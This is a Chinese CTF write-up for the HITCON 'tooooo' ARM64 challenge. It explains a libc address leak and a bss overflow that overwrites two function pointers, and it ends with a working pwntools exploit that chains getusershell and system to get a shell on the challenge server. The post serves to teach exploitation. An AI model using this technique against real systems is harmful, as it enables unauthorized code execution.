本文最后更新于:星期三, 一月 2日 2019, 4:10 下午

toooo

这道题是我在苦逼的写完了社会实践报告后刷D4rk3r大佬的博客看到的,感觉很有意思,就先看了这道题

这题是一道arm的pwn,可是它被分类到了misc,可能大佬觉得这是脑洞题吧

查看了下程序的架构

☁  tooooo  file tooooo 
tooooo: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=9e7e0f87a22c5b75cb0926d54d3d3f33fbac1fad, stripped

这是一道arm64的题,先配置下虚拟机的环境

☁  tooooo   apt-cache search "libc6" | grep arm64
libc6-arm64-cross - GNU C Library: Shared libraries (for cross-compiling)
libc6-dev-arm64-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
libc6-dbg-arm64-cross - GNU C Library: detached debugging symbols (for cross-compiling)
 ☁  tooooo   sudo apt-get install libc6-arm64-cross

因为题目给了libc文件和ld所以用题目给的就行了,运行前需要将ld-2.27.so重命名为ld-linux-aarch64.so.1 以及将libc-2.27.so重命名为libc.so.6

将重命名的文件放入lib文件夹,lib文件夹放在和程序同个目录下
qemu-aarch64 -L ./ tooooo

简单运行下发现它打印出了一个地址,然后要输入一个字符串,最后在打印一个字符串退出了

☁  tooooo  qemu-aarch64 -L ./ tooooo   
0x40009b1560
fasdf
Too many :)

用ida查看了下反编译的伪代码

__int64 vuln()
{
  unsigned int v1; // [xsp+18h] [xbp+18h]
  __int64 v2; // [xsp+20h] [xbp+20h]
  void (__fastcall *v3)(_QWORD, __int64, __int64, __int64); // [xsp+28h] [xbp+28h]
  __int64 v4; // [xsp+30h] [xbp+30h]
  __int64 v5; // [xsp+38h] [xbp+38h]

  v3 = &unk_F40;
  init_fuc();
  v1 = open("/dev/urandom", 0LL);
  if ( (v1 & 0x80000000) != 0 )
    _exit(0xFFFFFFFFLL);
  v2 = 0LL;
  if ( read(v1, &v2, 4LL) <= 0 )
    return v5 ^ _stack_chk_guard;
  printf("0x%llx\n", stdout);
  v4 = mmap(v2 & 0x7FFFF000, 12288LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
  if ( v4 == -1 )
    _exit(0xFFFFFFFFLL);
  if ( read(v1, v4, 12288LL) <= 0 )
    _exit(4294967294LL);
  get_string(&unk_12018, 0x30u);
  v3(v1, v4 + 0x2000, write_1, write_2);
  return v5 ^ _stack_chk_guard;
}

这里可以发现,它将stdout的地址打印出来了,所以可以计算出libc的地址。然后它往&unk_12018写入0x30个字节的内容,通过这个可以将在bss段上的 write_1和write_2两个函数指针给覆盖掉,而这两个函数在后面都会执行,所以这里可以获得两次调用函数的机会,但是要怎么getshell呢。这里我看到大佬们用了一个很骚的函数 getusershell(),先执行getusershell()函数,将”/bin/sh”存储在x0寄存器中,然后再执行system函数

arm64的调用约定:参数1~参数8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

1540278459500

1540277563735

exp:

#!/usr/bin/env python
from pwn import *
local = 0
debug = 0

if local:
    if debug:
        p = process(["qemu-aarch64", "-g", "1234", "-L", "./", "tooooo"])    
    else:
        p = process(["qemu-aarch64", "-L", "./", "tooooo"])
else:
    p = remote("13.230.48.252","4869")

elf = ELF("tooooo")
libc = ELF("./lib/libc.so.6")
context.binary = "tooooo"
context.log_level = "debug"

libc_base = int(p.recvline().strip("\n"),16) - libc.symbols['_IO_2_1_stdout_']
print hex(libc_base)
libc.address = libc_base

payload = 'a'*0x20 + p64(libc.symbols["getusershell"]) + p64(libc.symbols["system"])
p.sendline(payload)
p.interactive()

reference:

D4rk3r大佬的writeup


CTF's writeup      writeup pwn Hitcon

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!